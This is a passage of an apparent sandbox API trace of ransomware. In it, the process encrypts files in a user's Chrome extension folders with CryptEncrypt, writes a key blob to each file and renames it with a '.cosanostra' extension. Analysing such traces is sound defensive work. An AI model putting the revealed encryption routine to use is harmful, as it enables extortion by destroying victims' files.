data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.cosanostra")) returned 1 [0085.471] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf860 | out: pbBuffer=0x2abf860) returned 1 [0085.471] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf858*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf858*=0x30) returned 1 [0085.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.472] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 157 [0085.472] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.472] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.473] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf81c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf81c*=0xb3, lpOverlapped=0x0) returned 1 [0085.473] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.473] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf85c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf81c, lpOverlapped=0x0 | out: lpBuffer=0x2abf85c*, lpNumberOfBytesWritten=0x2abf81c*=0x4, lpOverlapped=0x0) returned 1 [0085.473] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf81c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf81c*=0x30, lpOverlapped=0x0) returned 1 [0085.473] CloseHandle (hObject=0x18c) returned 1 [0085.473] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.cosanostra")) returned 1 [0085.474] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf858 | out: pbBuffer=0x2abf858) returned 1 [0085.474] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf850*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf850*=0x30) returned 1 [0085.474] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.562] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 160 [0085.562] StrStrW (lpFirst="computed_hashes.json", lpSrch=".txt") returned 0x0 [0085.563] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffea0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.563] WriteFile (in: hFile=0x178, lpBuffer=0x3017260*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2abf814, lpOverlapped=0x0 | out: lpBuffer=0x3017260*, lpNumberOfBytesWritten=0x2abf814*=0x160, lpOverlapped=0x0) returned 1 [0085.563] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.563] WriteFile (in: hFile=0x178, lpBuffer=0x2abf854*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf814, lpOverlapped=0x0 | out: lpBuffer=0x2abf854*, lpNumberOfBytesWritten=0x2abf814*=0x4, lpOverlapped=0x0) returned 1 [0085.564] WriteFile (in: hFile=0x178, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf814, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf814*=0x30, lpOverlapped=0x0) returned 1 [0085.564] CloseHandle (hObject=0x178) returned 1 [0085.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.cosanostra")) returned 1 [0085.567] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf850 | out: pbBuffer=0x2abf850) returned 1 [0085.568] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf848*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf848*=0x30) returned 1 [0085.568] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.568] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json") returned 155 [0085.568] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.569] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.569] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2abf80c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf80c*=0xfe, lpOverlapped=0x0) returned 1 [0085.569] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.569] WriteFile (in: hFile=0x184, lpBuffer=0x2abf84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf80c, lpOverlapped=0x0 | out: lpBuffer=0x2abf84c*, lpNumberOfBytesWritten=0x2abf80c*=0x4, lpOverlapped=0x0) returned 1 [0085.569] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf80c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf80c*=0x30, lpOverlapped=0x0) returned 1 [0085.569] CloseHandle (hObject=0x184) returned 1 [0085.569] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.cosanostra")) returned 1 [0085.570] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf850 | out: pbBuffer=0x2abf850) returned 1 [0085.570] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf848*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf848*=0x30) returned 1 [0085.570] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.582] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js") returned 137 [0085.582] StrStrW (lpFirst="main.js", lpSrch=".txt") returned 0x0 [0085.583] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffffa1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.583] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2abf80c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf80c*=0x5f, lpOverlapped=0x0) returned 1 [0085.583] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.583] WriteFile (in: hFile=0x184, lpBuffer=0x2abf84c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf80c, lpOverlapped=0x0 | out: lpBuffer=0x2abf84c*, lpNumberOfBytesWritten=0x2abf80c*=0x4, lpOverlapped=0x0) returned 1 [0085.583] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf80c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf80c*=0x30, lpOverlapped=0x0) returned 1 [0085.583] CloseHandle (hObject=0x184) returned 1 [0085.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.cosanostra")) returned 1 [0085.585] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf848 | out: pbBuffer=0x2abf848) returned 1 [0085.585] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf840*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf840*=0x30) returned 1 [0085.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.585] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json") returned 155 [0085.586] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.586] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffed1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.586] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x12f, lpNumberOfBytesWritten=0x2abf804, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf804*=0x12f, lpOverlapped=0x0) returned 1 [0085.586] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.586] WriteFile (in: hFile=0x184, lpBuffer=0x2abf844*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf804, lpOverlapped=0x0 | out: lpBuffer=0x2abf844*, lpNumberOfBytesWritten=0x2abf804*=0x4, lpOverlapped=0x0) returned 1 [0085.587] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf804, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf804*=0x30, lpOverlapped=0x0) returned 1 [0085.587] CloseHandle (hObject=0x184) returned 1 [0085.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0085.706] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf840 | out: pbBuffer=0x2abf840) returned 1 [0085.706] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf838*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf838*=0x30) returned 1 [0085.706] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.706] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js") returned 137 [0085.706] StrStrW (lpFirst="main.js", lpSrch=".txt") returned 0x0 [0085.707] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffffa5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.707] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2abf7fc, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7fc*=0x5b, lpOverlapped=0x0) returned 1 [0085.707] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.708] WriteFile (in: hFile=0x184, lpBuffer=0x2abf83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7fc, lpOverlapped=0x0 | out: lpBuffer=0x2abf83c*, lpNumberOfBytesWritten=0x2abf7fc*=0x4, lpOverlapped=0x0) returned 1 [0085.708] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7fc*=0x30, lpOverlapped=0x0) returned 1 [0085.708] CloseHandle (hObject=0x184) returned 1 [0085.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.cosanostra")) returned 1 [0085.708] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf838 | out: pbBuffer=0x2abf838) returned 1 [0085.708] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf830*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf830*=0x30) returned 1 [0085.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.709] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html") returned 139 [0085.709] StrStrW (lpFirst="main.html", lpSrch=".txt") returned 0x0 [0085.710] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffffa4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.710] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x2abf7f4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7f4*=0x5c, lpOverlapped=0x0) returned 1 [0085.710] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.710] WriteFile (in: hFile=0x184, lpBuffer=0x2abf834*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf834*, lpNumberOfBytesWritten=0x2abf7f4*=0x4, lpOverlapped=0x0) returned 1 [0085.710] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7f4*=0x30, lpOverlapped=0x0) returned 1 [0085.710] CloseHandle (hObject=0x184) returned 1 [0085.710] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.cosanostra")) returned 1 [0085.711] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf838 | out: pbBuffer=0x2abf838) returned 1 [0085.711] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf830*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf830*=0x30) returned 1 [0085.711] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.712] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png") returned 141 [0085.712] StrStrW (lpFirst="icon_16.png", lpSrch=".txt") returned 0x0 [0085.713] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff71, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.713] WriteFile (in: hFile=0x184, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x2abf7f4, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x2abf7f4*=0x8f, lpOverlapped=0x0) returned 1 [0085.713] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.713] WriteFile (in: hFile=0x184, lpBuffer=0x2abf834*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf7f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf834*, lpNumberOfBytesWritten=0x2abf7f4*=0x4, lpOverlapped=0x0) returned 1 [0085.713] WriteFile (in: hFile=0x184, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf7f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf7f4*=0x30, lpOverlapped=0x0) returned 1 [0085.713] CloseHandle (hObject=0x184) returned 1 [0085.713] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.cosanostra")) returned 1 [0085.731] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf830 | out: pbBuffer=0x2abf830) returned 1 [0085.731] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf828*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf828*=0x30) returned 1 [0085.731] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 